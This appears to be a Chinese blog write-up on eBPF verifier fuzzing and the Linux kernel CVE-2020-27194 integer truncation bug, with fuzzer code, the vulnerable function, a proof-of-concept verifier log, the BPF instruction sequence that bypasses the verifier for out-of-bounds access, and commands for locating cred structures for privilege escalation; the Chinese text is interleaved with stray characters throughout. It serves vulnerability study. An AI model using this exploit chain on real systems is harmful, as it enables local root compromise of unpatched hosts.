【kernel exploit】BPF漏洞挖掘與CVE-2020-27194 整數(shù)溢出漏洞

影響版本:5.8.x 內(nèi)核分支吱七,v5.8.15 以及更低的版本汽久。該分支的發(fā)行版:Fedora 33 、Ubuntu 20.10踊餐。

編譯選項(xiàng)CONFIG_BPF_SYSCALL回窘。

漏洞描述:eBPF驗(yàn)證程序中進(jìn)行or操作時(shí),scalar32_min_max_or()函數(shù)將64位的值賦值到32位的變量上市袖,導(dǎo)致整數(shù)截?cái)啵M(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍烁涌,從而繞過(guò)bpf的檢查苍碟,導(dǎo)致越界讀寫(xiě)。

補(bǔ)丁patch scalar32_min_max_or()函數(shù)中對(duì)32位和64位的情況分開(kāi)處理撮执,防止整數(shù)截?cái)唷?/p>

測(cè)試版本:Linux-5.8.14 測(cè)試環(huán)境下載地址

利用過(guò)程:與 CVE-2020-8835利用過(guò)程相同微峰,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_opsinit_pid_ns的偏移,還有尋找cred地址的過(guò)程中用到的task_struct結(jié)構(gòu)偏移也不一樣抒钱,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致蜓肆。

一颜凯、BPF 漏洞挖掘介紹

BPF 介紹可以先看看 CVE-2020-8835利用過(guò)程

本節(jié)來(lái)自Fuzzing for eBPF JIT bugs in the Linux kernel

1.bpf-fuzzer

介紹bpf-fuzzer 目標(biāo)是在userspace測(cè)試BPF的verifier仗扬,這樣可以利用LLVM's sanitizer和fuzzer框架症概。為什么要把內(nèi)核編譯成用戶(hù)程序,而不是直接用syzkaller來(lái)挖掘呢早芭?原因有兩點(diǎn)彼城,一是因?yàn)閮?nèi)核fuzz太慢了,二是因?yàn)?code>BPF verifier等一些JIT編譯器會(huì)用鎖保護(hù)退个,如果在多核上跑fuzzer就很難并行募壕。

2.內(nèi)核組件編譯成用戶(hù)程序

獲取聲明:首先生成包含eBPF verifier及其主要函數(shù)bpf_check()的源代碼(處理宏并包含頭文件),寫(xiě)入.i文件语盈,這一步是為了獲得 verifier 引用的所有內(nèi)核符號(hào)舱馅。生成.i文件的示例:

KERNEL_SRC=/path/to/kernel/to/fuzz-test
process_example:
    cd $(KERNEL_SRC) &&  \
        make HOSTCC=clang CC=clang kernel/bpf/verifier.i

內(nèi)核函數(shù)hook:接著編譯每個(gè).i文件并鏈接到一起,這個(gè)過(guò)程很復(fù)刀荒。上一步雖然獲得了 verifier 引用的所有的符號(hào)聲明代嗤,但是并未獲得所有的定義。例如照棋,已獲得kmalloc()函數(shù)的定義资溃,但是沒(méi)有獲得該函數(shù)的定義。bpf-fuzzer是怎么解決的呢烈炭?采用user-space hooks溶锭,例如,用用戶(hù)標(biāo)準(zhǔn)函數(shù)malloc()來(lái)定義kmalloc()符隙,這兩個(gè)函數(shù)的行為是一樣的趴捅,BPF verifier不會(huì)察覺(jué)。

void *kmalloc(size_t size, unsigned int flags)
{
    return malloc(size);
}

3. BPF漏洞挖掘

挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier霹疫,本文的目標(biāo)是找到 JIT 邏輯漏洞拱绑,而非內(nèi)存損壞漏洞。例如丽蝎,verifier 可能認(rèn)為一個(gè)內(nèi)存store操作是在邊界內(nèi)的猎拨,但實(shí)際上并不安全。

因此屠阻,僅僅循環(huán)調(diào)用 BPF verifier 例程并等待崩潰是不夠的红省,應(yīng)該考慮以下步驟:

  • (1)生成或變異BPF程序
  • (2)執(zhí)行userspace BPF verifier,來(lái)模擬執(zhí)行BPF程序
  • (3)如果發(fā)現(xiàn)BPF程序有效国觉,則調(diào)用真實(shí)的 bpf() 系統(tǒng)調(diào)用并加載程序
  • (4)真實(shí)執(zhí)行BPF程序并采用一個(gè)機(jī)制來(lái)檢測(cè)bug
  • (5)重復(fù)
1-ebpf_fuzz_architecture_opt.png

fuzzer架構(gòu):為了具備可擴(kuò)展性吧恃,作者寫(xiě)了個(gè)manager,manager負(fù)責(zé)啟動(dòng)虛擬機(jī)來(lái)運(yùn)行被測(cè)內(nèi)核麻诀,然后通過(guò)SSH連接到VMs痕寓,并執(zhí)行 eBPF fuzzer 進(jìn)程傲醉。每個(gè) eBPF fuzzer 進(jìn)程運(yùn)行一個(gè) generator 并喂給 userspace BPF verifier,如果生成的輸入是有效的呻率,則eBPF fuzzer會(huì)調(diào)用 bpf()加載 BPF程序并觸發(fā)執(zhí)行硬毕。再采用檢測(cè)機(jī)制來(lái)檢查該BPF程序是否安全。

漏洞檢測(cè):JIT漏洞一般不會(huì)引發(fā)崩潰筷凤,所以很難檢測(cè)昭殉。解決辦法可以采用給JIT插入 assertions,但作者卻采用了更簡(jiǎn)單的方法藐守。既然目標(biāo)是找到錯(cuò)誤的指針運(yùn)算剥扣,就意味著要使 BPF verifier 相信一個(gè)內(nèi)存load或store是在邊界內(nèi)的营勤。所以漏洞檢測(cè)流程如下:

  • (1)加載一個(gè) BPF map,并把指針賦給一個(gè)寄存器
  • (2)對(duì)一個(gè)或多個(gè)寄存器進(jìn)行大量的 BPF ALU 和分支操作
  • (3)必須使用能通過(guò)操作改變寄存器狀態(tài)的寄存器,對(duì)指向BPF map的指針進(jìn)行運(yùn)算操作
  • (4)向 BPF map寫(xiě)入隨機(jī)值

如果 BPF verifier 確信 BPF 程序是安全的篡诽,那么無(wú)論對(duì)寄存器進(jìn)行隨機(jī)ALU運(yùn)算的值是多少场仲,無(wú)論之后對(duì) BPF map 指針加減多少值(即遍歷map中每個(gè)元素)萌丈,內(nèi)存操作始終都會(huì)在邊界內(nèi)赎瞎,這意味著需要更改map的值了。

如果觸發(fā)了有問(wèn)題的BPF程序融柬,但是用于測(cè)試的map內(nèi)容并未發(fā)生變化死嗦,則可以得知fuzzer將某處寫(xiě)入內(nèi)存但沒(méi)有寫(xiě)入map,因此檢測(cè)到錯(cuò)誤的指針運(yùn)算粒氧。

4.輸入生成規(guī)則

輸入生成:即生成有效的BPF程序越除,可以先閱讀 CVE-2020-8835-writeup英文原文

程序有效性與程序安全性:作者沒(méi)有采用對(duì)輸入結(jié)構(gòu)未知的fuzzer如 libfuzzer外盯,而是從頭開(kāi)始寫(xiě) input generator摘盆,因?yàn)橥ㄟ^(guò)編譯和反饋還是很難生成有效的BPF程序。BPF的語(yǔ)言規(guī)則饱苟,保留字段必須為0孩擂,條件跳轉(zhuǎn)必須往后跳且在邊界內(nèi),BPF程序是高度結(jié)構(gòu)化的箱熬,所以覆蓋導(dǎo)向的fuzzer很難生成有效的BPF程序类垦。

寄存器狀態(tài):BPF支持10個(gè)寄存器—— BPF_REG_1BPF_REG_10。如果將BPF程序用作數(shù)據(jù)過(guò)濾器城须,并通過(guò)傳入數(shù)據(jù)包來(lái)觸發(fā)該程序护锤,則只初始化R1和R10寄存器,R1是指向輸入包的指針酿傍,R10是指向本BPF程序的棧幀的指針,其他寄存器在進(jìn)入程序入口時(shí)都還未初始化驱入,但可以具有以下?tīng)顟B(tài):

  • NOT_INIT:寄存器的默認(rèn)狀態(tài)赤炒,不能被read氯析。
  • SCALAR_VALUE:寄存器包含標(biāo)量值,該值可以是常數(shù)莺褒,也可以是范圍掩缓,如1-5。
  • PTR_TO_MAP_VALUE_OR_NULL:寄存器可能是指向map的指針或NULL值遵岩。如果呀使用指針你辣,必須先檢查指針是否為NULL。
  • PTR_TO_MAP_VALUE:指向map的指針尘执,可以放心向map讀和寫(xiě)舍哄。
  • 除此之外還有其他狀態(tài),但與本文不相關(guān)誊锭。

5.BPF程序生成過(guò)程

(5-1)The header

目的:用常數(shù)或接近于 BPF map size 的值來(lái)初始化2個(gè)寄存器表悬。

為了測(cè)試 BPF verifier 錯(cuò)誤的指針運(yùn)算,我們需要獲得一個(gè)指向 BPF map 的指針丧靡,便于讀取和寫(xiě)入蟆沫。這個(gè)獲得指向 BPF map 的指針的過(guò)程 固定出現(xiàn)在每個(gè)test case的開(kāi)頭。指令如下:

// prepare the stack for map_lookup_elem
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), 
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// make the call to map_lookup_elem
BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// verify the map so that we can use it
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

現(xiàn)在 r0 就是指向map的指針了温治,可以用來(lái)生成指針運(yùn)算饭庞。以下代碼會(huì)把 BPF map 中的值賦值給兩個(gè)寄存器:

// 每個(gè)寄存器都是從 BPF map 讀取 64 bit,寄存器的狀態(tài)從 NOT_INIT 變?yōu)?SCALAR_VALUE熬荆。寄存器的值的范圍是 0-2**64舟山,這一步的目的就是給寄存器加載一個(gè)隨機(jī)的立即數(shù)。
BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),

為了使寄存器的值更接近被測(cè)程序 的BPF map大小惶看,下一步是生成條件跳轉(zhuǎn)捏顺,以設(shè)置兩寄存器的minimum 和maximum 值。以下函數(shù)能生成寄存器的minimum bound纬黎。

// 目的是生成一個(gè)條件跳轉(zhuǎn)幅骄,當(dāng)該值大于 minimum bound 時(shí),條件跳轉(zhuǎn)為 true本今。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范圍內(nèi)隨機(jī)生成的拆座,作者令 FUZZ_MAP_SIZE=8192。
inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val) 
{
    bool is64bit = this->rg->one_of(2);
    this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
    
    if (is64bit)
        return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
    else
        return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
}
(5-2)The body

目的:生成2個(gè)寄存器的隨機(jī)ALU算術(shù)操作冠息。

主體部分就是隨意選取兩個(gè)可用的寄存器挪凑,進(jìn)行ALU操作或分支操作。

// 算術(shù)指令是先隨機(jī)選取一種可用指令逛艰,如BPF_ADD/BPF_MUL/BPF_XOR躏碳,然后確定源寄存器和目的寄存器,并返回生成的BPF指令散怖。分支指令也是類(lèi)似菇绵,先選取可用的分支操作碼肄渗,可以使用第二個(gè)寄存器或立即數(shù),由于知道BPF程序的大小和指令的下標(biāo)咬最,這樣就總能生成有效的指令翎嫡。
for (size_t i = 0; i < num_instr; i++) {
    int reg1, reg2;
        
    this->chose_registers(&reg1, &reg2);
    if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
        alu_instr a;
        a.generate(this->rg, reg1, reg2);
        this->instructions[index++] = a.instr;
    }
    else {
        branch_instr b(this->header_size, this->header_size + this->num_instr, index);
        b.generate(this->rg, reg1, reg2);
        this->instructions[index++] = b.instr;
        generated_branch = true;
    }
}
(5-3)The footer

目的:為保證每個(gè)input都能對(duì) BPF map 進(jìn)行內(nèi)存寫(xiě), The footer 會(huì)選擇上述2個(gè)寄存器之一永乌,接著進(jìn)行算術(shù)運(yùn)算(和The body中類(lèi)似惑申,但只能進(jìn)行加減操作,因?yàn)橹羔樦荒苓M(jìn)行加減運(yùn)算)翅雏。最后進(jìn)行內(nèi)存操作圈驼,然后將R0賦值為立即數(shù),確保有正確的返回值枚荣。

void range_input::generate_footer() 
{
    size_t index = this->header_size + this->num_instr;
    // generate the random pointer arithmetic with one of the registers
    int reg1, reg2 = -1;
    this->chose_registers(&reg1, &reg2);
    alu_instr ptr_ar;
    ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
    this->instructions[index++] = ptr_ar.instr;
    this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
    this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
    this->instructions[index++] = BPF_EXIT_INSN();

6.Fuzzer結(jié)果

2-ebpf_fuzzer.png

以上顯示作者用了6個(gè)VM來(lái)fuzz的輸出結(jié)果碗脊,每個(gè)VM一秒能測(cè)1200個(gè)BPF程序,0.77%的BPF程序是有效的橄妆。大量時(shí)間用在了內(nèi)核真實(shí)測(cè)試BPF程序上衙伶,下一步可以在用戶(hù)空間測(cè)試BPF程序,避免與內(nèi)核交互害碾,從而提速矢劲。


二、漏洞分析

// 漏洞函數(shù):scalar32_min_max_or() —— 對(duì)寄存器進(jìn)行或運(yùn)算時(shí)慌随,錯(cuò)誤計(jì)算了`bpf_reg_state`寄存器狀態(tài)中的寄存器值范圍
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->smin_value;
    u32 umin_val = src_reg->umin_value;

    /* Assuming scalar64_min_max_or will be called so it is safe
     * to skip updating register for known case.
     */
    if (src_known && dst_known)
        return;

    /* We get our maximum from the var_off, and our minimum is the
     * maximum of the operands' minima
     */
    dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
    dst_reg->u32_max_value = var32_off.value | var32_off.mask;
    if (dst_reg->s32_min_value < 0 || smin_val < 0) {
        /* Lose signed bounds when ORing negative numbers,
         * ain't nobody got time for that.
         */
        dst_reg->s32_min_value = S32_MIN;
        dst_reg->s32_max_value = S32_MAX;
    } else {
        /* ORing two positives gives a positive, so safe to
         * cast result into s64.
         */
        dst_reg->s32_min_value = dst_reg->umin_value; // 【1】將64位的值賦值到32位的變量上芬沉,導(dǎo)致整數(shù)截?cái)啵M(jìn)而錯(cuò)誤計(jì)算了寄存器的范圍阁猜,從而繞過(guò)bpf的檢查丸逸,導(dǎo)致越界讀寫(xiě)。
        dst_reg->s32_max_value = dst_reg->umax_value;
    }
}

具體可以看Poc生成的日志

  ……
9: (79) r5 = *(u64 *)(r0 +0)
 R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
        ……

9:用戶(hù)的值通過(guò)r5寄存器傳入值 2

10:r0 賦值給r8剃袍,r0保存map的地址黄刚,對(duì)觸發(fā)漏洞無(wú)影響

11:r0 賦值為1,否則會(huì)認(rèn)為r0 泄露map指針產(chǎn)生報(bào)錯(cuò)

12: r6賦值為0x600000002

14:通過(guò)r5 < r6 的條件判斷使得r5寄存器的無(wú)符號(hào)范圍最大為 umax_value=25769803777=0x600000001

16:通過(guò)r > 0x0 的條件判斷使得r5寄存器的無(wú)符號(hào)范圍最小為 umin_value=1

18:對(duì)r5進(jìn)行or運(yùn)算民效,觸發(fā)漏洞函數(shù) scalar_min_max_or憔维,調(diào)用到漏洞函數(shù)中的【1】處,賦值后r5寄存器的 s32_min_value=1畏邢,s32_max_value=1

19:將r5賦值為r6业扒,得到r6為invP1 ,說(shuō)明檢查模塊認(rèn)為r6是常數(shù)1舒萎,而實(shí)際此時(shí)r6為2

20:對(duì)r6進(jìn)行右移操作程储,此時(shí)檢查模塊認(rèn)為r6得到的結(jié)果為invP0(常數(shù)0),而實(shí)際此時(shí)r6為1

具體調(diào)試過(guò)程如下

3-CVE-2020-27194-Debug.png

一個(gè)常數(shù)變量x,如果它64位無(wú)符號(hào)數(shù)的取值范圍是 1<=x<=0x100000001章鲤,dst_reg->umin_value 的值為1致板, dst_reg->umax_value 的值為0x600000001,而在賦值 dst_reg->s32_max_value 的過(guò)程中發(fā)生了截?cái)啵?4位的值賦值到32位的有符號(hào)整數(shù))咏窿,導(dǎo)致 dst_reg->s32_max_value 的值為1,此時(shí)目標(biāo)寄存器的32位范圍為(1素征,1)集嵌,因此bpf的驗(yàn)證模塊認(rèn)為這是常數(shù)1。

當(dāng)我們傳入2時(shí)御毅,對(duì)其進(jìn)行右移操作根欧,驗(yàn)證模塊認(rèn)為是1>>1=0,而實(shí)際是2 >>1 = 1端蛆,所以可以對(duì)其進(jìn)行乘法操作構(gòu)造成任意數(shù)凤粗,因?yàn)樵隍?yàn)證模塊看來(lái)只是0乘以任意數(shù),結(jié)果都是0今豆,從而繞過(guò)檢查嫌拣,可以對(duì)map指針進(jìn)行任意加減,造成越界讀寫(xiě)呆躲。

所以bpf程序構(gòu)造如下:

struct bpf_insn prog[] = {
        BPF_LD_MAP_FD(BPF_REG_9, mapfd),
            BPF_MAP_GET(0, BPF_REG_5),  // r5 = input()
        BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
        BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ;  jmp 1
        BPF_EXIT_INSN(),
        BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1),  //if r5 > 0 ; jmp 1 ; 
        BPF_EXIT_INSN(),
        // now  1 <= r5 <= 0x600000001
        BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0),   //r5 |=0;  verify: 1 <= r5 <=1 , r5=1 
        BPF_MOV_REG(BPF_REG_6, BPF_REG_5),     //r6 =r5
        BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1),  //r6 >>1    verify:0   fact: we can let r5=2  then r6=1 
        ......
}

三异逐、漏洞利用

CVE-2020-8835利用過(guò)程相同,只需要根據(jù)不同版本的內(nèi)核調(diào)一下array_map_opsinit_pid_ns的偏移插掂,還有尋找cred地址的過(guò)程中用到的task_struct結(jié)構(gòu)偏移也不一樣灰瞻,不同的內(nèi)核版本不同的編譯選項(xiàng)所導(dǎo)致。

# 根據(jù) init_pid_ns 一步步找到當(dāng)前pid的task_struct中的cred辅甥。必須自己編譯帶符號(hào)的vmlinux才行酝润。
$ cat /proc/kallsyms | grep init_pid_ns         # ——找到第一個(gè)task_struct 的地址
# 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
$ p/x &(*(struct task_struct *)0)->pid      # ——pid位置
$ p/x &(*(struct task_struct *)0)->cred     # ——cred位置
$ p/x &(*(struct task_struct *)0)->tasks    # —— 下一個(gè)task_struct的位置

參考:

320will——Linux kernel BPF模塊的相關(guān)漏洞分析

360——CVE-2020-27194:Linux Kernel eBPF模塊提權(quán)漏洞的分析與利用

啟明星辰ADLab——Linux eBPF JIT 權(quán)限提升漏洞(CVE-2020-27194)分析與驗(yàn)證

Fuzzing for eBPF JIT bugs in the Linux kernel

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末璃弄,一起剝皮案震驚了整個(gè)濱河市要销,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌谢揪,老刑警劉巖蕉陋,帶你破解...
    沈念sama閱讀 216,372評(píng)論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異拨扶,居然都是意外死亡凳鬓,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門(mén)患民,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)缩举,“玉大人,你說(shuō)我怎么就攤上這事〗龊ⅲ” “怎么了托猩?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,415評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)辽慕。 經(jīng)常有香客問(wèn)我京腥,道長(zhǎng),這世上最難降的妖魔是什么溅蛉? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,157評(píng)論 1 292
  • 正文 為了忘掉前任公浪,我火速辦了婚禮,結(jié)果婚禮上船侧,老公的妹妹穿的比我還像新娘欠气。我一直安慰自己,他們只是感情好镜撩,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布预柒。 她就那樣靜靜地躺著,像睡著了一般袁梗。 火紅的嫁衣襯著肌膚如雪宜鸯。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,125評(píng)論 1 297
  • 那天围段,我揣著相機(jī)與錄音顾翼,去河邊找鬼。 笑死奈泪,一個(gè)胖子當(dāng)著我的面吹牛适贸,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播涝桅,決...
    沈念sama閱讀 40,028評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼拜姿,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了冯遂?” 一聲冷哼從身側(cè)響起蕊肥,我...
    開(kāi)封第一講書(shū)人閱讀 38,887評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎蛤肌,沒(méi)想到半個(gè)月后壁却,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,310評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡裸准,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評(píng)論 2 332
  • 正文 我和宋清朗相戀三年展东,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片炒俱。...
    茶點(diǎn)故事閱讀 39,690評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡盐肃,死狀恐怖爪膊,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情砸王,我是刑警寧澤推盛,帶...
    沈念sama閱讀 35,411評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站谦铃,受9級(jí)特大地震影響耘成,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜驹闰,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評(píng)論 3 325
  • 文/蒙蒙 一凿跳、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧疮方,春花似錦、人聲如沸茧彤。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)曾掂。三九已至惫谤,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間珠洗,已是汗流浹背溜歪。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,812評(píng)論 1 268
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留许蓖,地道東北人蝴猪。 一個(gè)月前我還...
    沈念sama閱讀 47,693評(píng)論 2 368
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像膊爪,于是被迫代替她去往敵國(guó)和親自阱。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評(píng)論 2 353